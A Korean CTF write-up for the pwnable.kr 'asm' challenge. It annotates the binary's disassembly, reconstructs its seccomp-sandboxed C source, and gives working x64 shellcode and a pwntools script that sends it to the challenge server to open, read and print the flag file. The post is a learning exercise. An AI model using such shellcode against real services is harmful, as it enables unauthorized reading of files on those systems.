일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- document
- IF문
- suninatas 풀이
- 파이썬
- 함수
- 백준 알고리즘
- xss game
- 사칙연산
- 배열
- 백준 파이썬
- window
- 조건문
- sql injection
- lord of sql injection
- object
- 메소드
- blind sql injection
- github
- python
- 객체
- xss game 풀이
- burp suite
- jQuery
- 포인터
- 김성엽 대표님
- htmlspecialchars
- 자바스크립트
- property
- Pwndbg
- element 조회
Archives
- Today
- Total
power-girl0-0
[pwnable] asm 풀이 본문
728x90
해당 글은 공부한 것을 기록해서, 향후 참고하기 위해 쓴 글입니다.
자세한 설명이 적혀있지 않더라도 이해바랍니다.
1. Code 이해하기 전, 알고가기!
(1) seccom 정의
리눅스에서 sandbox기반으로 시스템콜을 허용 및 차단하여, 공격의 가능성을 막는 리눅스 보안 메커니즘이다.
(2) setvbuf
지정한 스트림을 위한, 버퍼링 형식과 버퍼 크기 제어를 허용하는 함수이다.
① _IONBF : 버퍼를 사용하지 않는다.
② _IOLBF : 행버퍼링으로, 출력할 때 버퍼가 꽉 차거나 개행문자가 입력되면 문자가 출력된다.
(3) mmap
메모리 내용을 파일이나 디바이스에 대응(mapping)하기 위해서 사용하는 시스템 콜이다.
프로세스의 가상 메모리 주소 공간에 파일을 매핑한 뒤, 가상 메모리 주소에 직접 접근하는 것으로 파일 읽기/쓰기를 수행한다.
즉, 메모리에 매핑된 데이터는 파일 입출력 함수를 사용하지 않고 직접 읽고 쓸 수 있다는 장점을 갖고 있다.
void *mmap(void *addr, size_t len, int prot, int flags, int fildes, off_t off); |
2. 64bit 리눅스 알고가기
※ 참고: https://harin-luna.tistory.com/entry/64bit-체제에서는-어떻게-인자전달을-할까
3. c코드 안에 존재하는 Shell code
- https://disasm.pro/ 웹사이트를 통해, shell code의 존재 코드를 확인하였다.
- shell code
\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31
\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff - assembly language
xor rax, rax
xor rbx, rbx
xor rcx, rcx
xor rdx, rdx
xor rsi, rsi
xor rdi, rdi
xor rbp, rbp
xor r8, r8
xor r9, r9
xor r10, r10
xor r11, r11
xor r12, r12
xor r13, r13
xor r14, r14
xor r15, r15 - 작성되어있던 shell code는 0으로 초기화하는 shell code임을 확인할 수 있었다.
4. code 분석
- gdb를 통해, 코드를 분석하며 주석처리 한 것이다.
(필자가 공부하며 작성한 것이기 때문에, 지저분한 것은 이해부탁드립니다. )
(gdb) disas main Dump of assembler code for function main: 0x0000555555554d64 <+0>: push rbp 0x0000555555554d65 <+1>: mov rbp,rsp 0x0000555555554d68 <+4>: sub rsp,0x20 0x0000555555554d6c <+8>: mov DWORD PTR [rbp-0x14],edi 0x0000555555554d6f <+11>: mov QWORD PTR [rbp-0x20],rsi 0x0000555555554d73 <+15>: mov rax,QWORD PTR [rip+0x201256] # 0x555555755fd0 0x0000555555554d7a <+22>: mov rax,QWORD PTR [rax] # rax가 참조하고 있는 주소의 값을 rax에 넣는 것. ''' ''' 0x0000555555554d7d <+25>: mov ecx,0x0 0x0000555555554d82 <+30>: mov edx,0x2 0x0000555555554d87 <+35>: mov esi,0x0 0x0000555555554d8c <+40>: mov rdi,rax 0x0000555555554d8f <+43>: call 0x555555554af0 <setvbuf@plt> ''' ecx 0x0 edx 0x2 esi 0x0 rax stdout이 있는 함수의 주소를 갖고 있음. ( 0x7ffff7bb2620 <_IO_2_1_stdout_>: 0xfbad2084 ) ==> rax값을 확인했을 때 나오는 문구. 따라서, setvbuf함수를 이용해서, stdout에 관해 위 스택의 버퍼링 설정을 하고 있음. ''' 0x0000555555554d94 <+48>: mov rax,QWORD PTR [rip+0x20123d] # 0x555555755fd8 0x0000555555554d9b <+55>: mov rax,QWORD PTR [rax] 0x0000555555554d9e <+58>: mov ecx,0x0 0x0000555555554da3 <+63>: mov edx,0x1 0x0000555555554da8 <+68>: mov esi,0x0 0x0000555555554dad <+73>: mov rdi,rax 0x0000555555554db0 <+76>: call 0x555555554af0 <setvbuf@plt> ''' ecx 0x0 edx 0x1 esi 0x0 rax stdin이 있는 함수의 주소를 갖고 있음. ( 0x7ffff7bb18e0 <_IO_2_1_stdin_>: 0xfbad2088 ) ==> rax값을 확인했을 때 나오는 문구. 따라서, setvbuf함수를 이용해서, stdin에 관해 위 스택의 버퍼링 설정을 하고 있음. ''' 0x0000555555554db5 <+81>: lea rdi,[rip+0x18c] # 0x555555554f48 0x0000555555554dbc <+88>: call 0x555555554a40 <puts@plt> 0x0000555555554dc1 <+93>: lea rdi,[rip+0x1b0] # 0x555555554f78 0x0000555555554dc8 <+100>: call 0x555555554a40 <puts@plt> 0x0000555555554dcd <+105>: lea rdi,[rip+0x1f4] # 0x555555554fc8 0x0000555555554dd4 <+112>: call 0x555555554a40 <puts@plt> 0x0000555555554dd9 <+117>: lea rdi,[rip+0x240] # 0x555555555020 0x0000555555554de0 <+124>: call 0x555555554a40 <puts@plt> ''' rdi 레지스터에 들어간 rip+0x18c의 주소의 값을 확인해보면, 문자열이 존재함. --> 아래 두개의 puts는 같은 방식이므로, pass함. #1. printf를 사용하지 않고 puts를 사용한 이유 # : printf는 size가 얼마인지 확인해야되지만, puts는 \n이 존재하면 멈추기 때문에 => 효율성을 보고 puts를 사용한 것임. #2. rip는 다음 실행할 주소를 가르키기 때문에, lea에 코드가 실행될 시점의 rip는 callq부분을 가르키고 있음 # 따라서, rip의 값에 + 주소값을 하는 경우는 callq부분을 가르키고 있는 rip주소값에 더하기하여, rdi에 들어가는 것임. ''' 0x0000555555554de5 <+129>: mov r9d,0x0 0x0000555555554deb <+135>: mov r8d,0x0 0x0000555555554df1 <+141>: mov ecx,0x32 0x0000555555554df6 <+146>: mov edx,0x7 0x0000555555554dfb <+151>: mov esi,0x1000 0x0000555555554e00 <+156>: mov edi,0x41414000 0x0000555555554e05 <+161>: call 0x555555554a70 <mmap@plt> ''' edi 0x41414000 esi 0x1000 edx 0x7 ecx 0x32 r8d 0x0 r9d 0x0 => 위 인자들이 mmap함수에 들어가서, 메모리에 0x1000 크기만큼 0x40404000위치에 매핑된다. => mmap함수는 성공하면, 대응된 영역의 포인터를 반환한다. (즉, 0x40404000 주소값이 rax에 들어가게 되는 것이다.) ''' 0x0000555555554e0a <+166>: mov QWORD PTR [rbp-0x8],rax #해당 시점에서, rax값은 0x40404000의 주소값을 갖고 있다. 0x0000555555554e0e <+170>: mov rax,QWORD PTR [rbp-0x8] 0x0000555555554e12 <+174>: mov edx,0x1000 0x0000555555554e17 <+179>: mov esi,0x90 0x0000555555554e1c <+184>: mov rdi,rax 0x0000555555554e1f <+187>: call 0x555555554aa0 <memset@plt> ''' rax : 0x41414000 edx : 0x1000 esi : 0x90 rdi : 0x41414000 => 즉, memset함수를 이용하여, 41414000위치부터 1000size만큼 0x90인 0으로 채운다. ''' 0x0000555555554e24 <+192>: lea rax,[rip+0x201295] #0x5555557560c0 <stub> 0x0000555555554e2b <+199>: mov rdi,rax 0x0000555555554e2e <+202>: call 0x555555554a60 <strlen@plt> ''' rip+0x201295의 값은 stub함수를 가르키고 있는 주소이다. 따라서, rax에 넣어준 값을 x/i 명령어로 출력하면, 아래와 같이 디스어셈블된 명령어의 명령 메모리를 볼 수 있다. (gdb) x/16i 0x5555557560c0 0x5555557560c0 <stub>: xor rax,rax 0x5555557560c3 <stub+3>: xor rbx,rbx 0x5555557560c6 <stub+6>: xor rcx,rcx 0x5555557560c9 <stub+9>: xor rdx,rdx 0x5555557560cc <stub+12>: xor rsi,rsi 0x5555557560cf <stub+15>: xor rdi,rdi 0x5555557560d2 <stub+18>: xor rbp,rbp 0x5555557560d5 <stub+21>: xor r8,r8 0x5555557560d8 <stub+24>: xor r9,r9 0x5555557560db <stub+27>: xor r10,r10 0x5555557560de <stub+30>: xor r11,r11 0x5555557560e1 <stub+33>: xor r12,r12 0x5555557560e4 <stub+36>: xor r13,r13 0x5555557560e7 <stub+39>: xor r14,r14 0x5555557560ea <stub+42>: xor r15,r15 0x5555557560ed <stub+45>: add BYTE PTR [rax],al => 즉, strlen함수를 통해, sub의 문자열길이를 알아내는 코드이다. ''' 0x0000555555554e33 <+207>: mov rdx,rax 0x0000555555554e36 <+210>: mov rax,QWORD PTR [rbp-0x8] # rax : 0x41414000의 주소값을 갖게 된다. 0x0000555555554e3a <+214>: lea rcx,[rip+0x20127f] #0x5555557560c0 <stub> 0x0000555555554e41 <+221>: mov rsi,rcx 0x0000555555554e44 <+224>: mov rdi,rax 0x0000555555554e47 <+227>: call 0x555555554ae0 <memcpy@plt> ''' rdx : 45 (stub의 문자열 길이 값) -> 위 strlen함수에서 리턴한 값. rsi : 0x5555557560c0 -> stub를 가르키는 주소임. rdi : 0x41414000 => 즉, memcpy함수를 통해, 0x41414000주소값에 stub안에 들을 값을 45만큼 복사한다. ''' 0x0000555555554e4c <+232>: mov DWORD PTR [rbp-0xc],0x2e ''' # 0x2e는 10진수로 바꾸면, 46임. 즉, stub의 sizeof를 나타냄. -> 45 + 1 # 1을 더한 이유는 '\n'도 포함되기 때문임. ''' 0x0000555555554e53 <+239>: lea rdi,[rip+0x209] #0x555555555063 0x0000555555554e5a <+246>: mov eax,0x0 0x0000555555554e5f <+251>: call 0x555555554a80 <printf@plt> ''' (gdb) x/s 0x555555555063 0x555555555063: "give me your x64 shellcode: " rip+0x209 위치에는 위와 같이, 문자열이 존재함. => 즉, printf함수를 이용하여 위 문자열을 출력함. ''' 0x0000555555554e64 <+256>: mov eax,DWORD PTR [rbp-0xc] # eax : 0x2e (= 46 ) 0x0000555555554e67 <+259>: movsxd rdx,eax # movsxd : 32bit레지스터를 64bit레지스터로 확장하는 명령어. 0x0000555555554e6a <+262>: mov rax,QWORD PTR [rbp-0x8] # rax : 0x41414000 0x0000555555554e6e <+266>: add rax,rdx # 0x41414000 + 46 한 값인 0x4141402e를 rax에 넣음. 0x0000555555554e71 <+269>: mov edx,0x3e8 0x0000555555554e76 <+274>: mov rsi,rax 0x0000555555554e79 <+277>: mov edi,0x0 0x0000555555554e7e <+282>: call 0x555555554ac0 <read@plt> ''' edx : 0x3e8 (=1000) rsi : 0x4141402e-> 0x41414000 + 46 (stub넣은 값+NULL의 다음 주소를 의미.) edi : 0 => 즉, read(0, 0x4141402e, 1000)을 의미하는 코드이다. (fd값 0이면, input을 의미함.) ( = 입력받아온 값 1000만큼, 0x4141402e에 들어가게 됨.) ''' 0x0000555555554e83 <+287>: mov edi,0xa 0x0000555555554e88 <+292>: call 0x555555554ab0 <alarm@plt> ''' edi : 0xa (=10) => 즉, alarm(10)코드가 실행된다. ''' 0x0000555555554e8d <+297>: lea rdi,[rip+0x1ec] #0x555555555080 0x0000555555554e94 <+304>: call 0x555555554a20 <chroot@plt> ''' rdi : 0x0x555555555080값이 들어가고, 주소값에는 /home/asm_pwn이 존재함. -> 아래처럼 확인할 수 있음. ''' (gdb) x/s $rdi 0x555555555080: "/home/asm_pwn" ''' => 즉, chroot("/home/asm_pwn") ※ chroot : 현재 실행중인 프로세스와 그 자식에 대한 명백한 루트 디렉토리를 변경하는 작업. ->즉, 지정된 디렉토리 트리 외부의 파일에 액세스 할 수 없다. 액세스 제한을 하는 함수이다. ''' 0x0000555555554e99 <+309>: mov eax,0x0 0x0000555555554e9e <+314>: call <sandbox> ''' sandbox를 호출하는 코드이다. 해당 코드를 확인해보면, seccomp_rule_add함수가 5번 사용되는 것을 볼 수 있다. 이 중, 3번째 인자에 들어가는 값을 확인해보면 systemcall의 번호를 볼 수 있다. 이는 아래와 같다. 0x2 : open 0x0 : read 0x1 : write 0x3c : exit 0xe7 : exit_group ''' ---Type <return> to continue, or q <return> to quit--- 0x0000555555554ea3 <+319>: mov rax,QWORD PTR [rbp-0x8] 0x0000555555554ea7 <+323>: call rax ''' rax : 0x41414000 rax 변수에 들은 코드를 실행한다. ''' 0x0000555555554ea9 <+325>: mov eax,0x0 0x0000555555554eae <+330>: leave 0x0000555555554eaf <+331>: ret End of assembler dump.
- c언어로 주석처리해서, 확인하면 아래와 같다.
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/mman.h> #include <seccomp.h> #include <sys/prctl.h> #include <fcntl.h> #include <unistd.h> #define LENGTH 128 // open, read, write, exit, exit_group함수만 사용 가능. void sandbox(){ scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); if (ctx == NULL) { printf("seccomp error\n"); exit(0); } seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); if (seccomp_load(ctx) < 0){ seccomp_release(ctx); printf("seccomp error\n"); exit(0); } seccomp_release(ctx); } // stub는 스택의 값을 초기화해주는 shellcode이다. char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\ xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff"; unsigned char filter[256]; int main(int argc, char* argv[]){ setvbuf(stdout, 0, _IONBF, 0); setvbuf(stdin, 0, _IOLBF, 0); printf("Welcome to shellcoding practice challenge.\n"); printf("In this challenge, yous can run your x64 shellcode under SECCOMP sandbox.\n"); printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n"); printf("If this does not challenge you. you should play 'asg' challenge :)\n"); // 0x41414000주소값부터 0x1000만큼 주소맵핑. char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0); memset(sh, 0x90, 0x1000); // sh를 NOP으로 초기화. memcpy(sh, stub, strlen(stub)); //stub를 sh스택에 넣음. int offset = sizeof(stub); //sh스택에서 stub다음 주소를 가르키기 위한 코드. printf("give me your x64 shellcode: "); read(0, sh+offset, 1000); //1000byte만큼 입력받아와서, sh스택의 stub다음주소에 값을 넣음. alarm(10); //10초 넘으면 종료됨. chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp sandbox(); ((void (*)(void))sh)(); return 0; }
- stack을 그림으로 표현하면, 아래와 같다. ( 지저분한 점 이해 바람. )
5. Shell Code
- shell code를 만들기 전, readme를 읽어보면, nc접속정보와 flag파일의 이름을 확인할 수 있다.
- flag 파일명 :
his_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong - flag 파일명 어셈블리어 코드
H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8n1n1nof\x01H1\x04$H\xb8o0o0o0o0PH\xb800000000PH\xb8oooo0000PH\xb8ooooooooPH\xb8ooooooooPH\xb800000oooPH\xb800000000PH\xb800000000PH\xb8oooo0000PH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8s_very_lPH\xb8e_name_iPH\xb8_the_filPH\xb8le.sorryPH\xb8_this_fiPH\xb8ase_readPH\xb8file_plePH\xb8kr_flag_PH\xb8pwnable.PH\xb8this_is_P
- 공격 어셈블리어 코드
# open(파일명,0,0) mov rdi, rsp #rsp를 넣은 이유 : 파일명을 넣은 바로 직후라서, rsp가 파일명 바로 위의 위치를 가르키고 있기 때문. xor rax, rax mov al, 2 xor rsi, rsi xor rdx, rdx syscall #read(fd, buf, 100) mov rdi, rax mov rsi, rsp xor rdx, rdx mov dl, 0xff inc rdx xor rax, rax syscall #write함수 (1, buf, 100) xor rdi, rdi inc rdi mov rsi, rsp xor rdx, rdx mov dl, 0xff inc rdx xor rax, rax inc rax syscall
- python 코드
#/usr/bin/env python3 from pwn import * c1 = remote("pwnable.kr",9026) payload = '' payload = b'\x48\xB8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xB8\x6E\x31\x6E \x31\x6E\x6F\x66\x01\x48\x31\x04\x24\x48\xB8\x6F\x30\x6F\x30\x6F\x30\x6F\x30 \x50\x48\xB8\x30\x30\x30\x30\x30\x30\x30\x30\x50\x48\xB8\x6F\x6F\x6F\x6F\x30 \x30\x30\x30\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F \x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x30\x30\x30\x30\x30\x6F\x6F\x6F\x50\x48 \xB8\x30\x30\x30\x30\x30\x30\x30\x30\x50\x48\xB8\x30\x30\x30\x30\x30\x30\x30 \x30\x50\x48\xB8\x6F\x6F\x6F\x6F\x30\x30\x30\x30\x50\x48\xB8\x6F\x6F\x6F\x6F \x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F \x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50 \x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F \x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F \x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8 \x73\x5F\x76\x65\x72\x79\x5F\x6C\x50\x48\xB8\x65\x5F\x6E\x61\x6D\x65\x5F\x69 \x50\x48\xB8\x5F\x74\x68\x65\x5F\x66\x69\x6C\x50\x48\xB8\x6C\x65\x2E\x73\x6F \x72\x72\x79\x50\x48\xB8\x5F\x74\x68\x69\x73\x5F\x66\x69\x50\x48\xB8\x61\x73 \x65\x5F\x72\x65\x61\x64\x50\x48\xB8\x66\x69\x6C\x65\x5F\x70\x6C\x65\x50\x48 \xB8\x6B\x72\x5F\x66\x6C\x61\x67\x5F\x50\x48\xB8\x70\x77\x6E\x61\x62\x6C\x65 \x2E\x50\x48\xB8\x74\x68\x69\x73\x5F\x69\x73\x5F\x50\x48\x89\xE7\x48\x31\xC0 \xB0\x02\x48\x31\xF6\x48\x31\xD2\x0F\x05\x48\x89\xC7\x48\x89\xE6\x48\x31\xD2 \xB2\xFF\x48\xFF\xC2\x48\x31\xC0\x0F\x05\x48\x31\xFF\x48\xFF\xC7\x48\x89\xE6 \x48\x31\xD2\xB2\xFF\x48\xFF\xC2\x48\x31\xC0\x48\xFF\xC0\x0F\x05' print(c1.readuntil(b'give me your x64 shellcode: ').decode()) c1.sendline(payload) c1.interactive()
6. flag 획득.
728x90
'War game > pwnable.kr' 카테고리의 다른 글
[pwnable] flag 풀이 (0) | 2022.02.12 |
---|---|
[pwnable] collision 풀이 (0) | 2022.02.09 |
[pwnable] input 풀이 (0) | 2022.02.07 |
[pwnable] bof 풀이 (0) | 2022.01.20 |
[pwnable] fd 풀이 (0) | 2021.12.27 |
Comments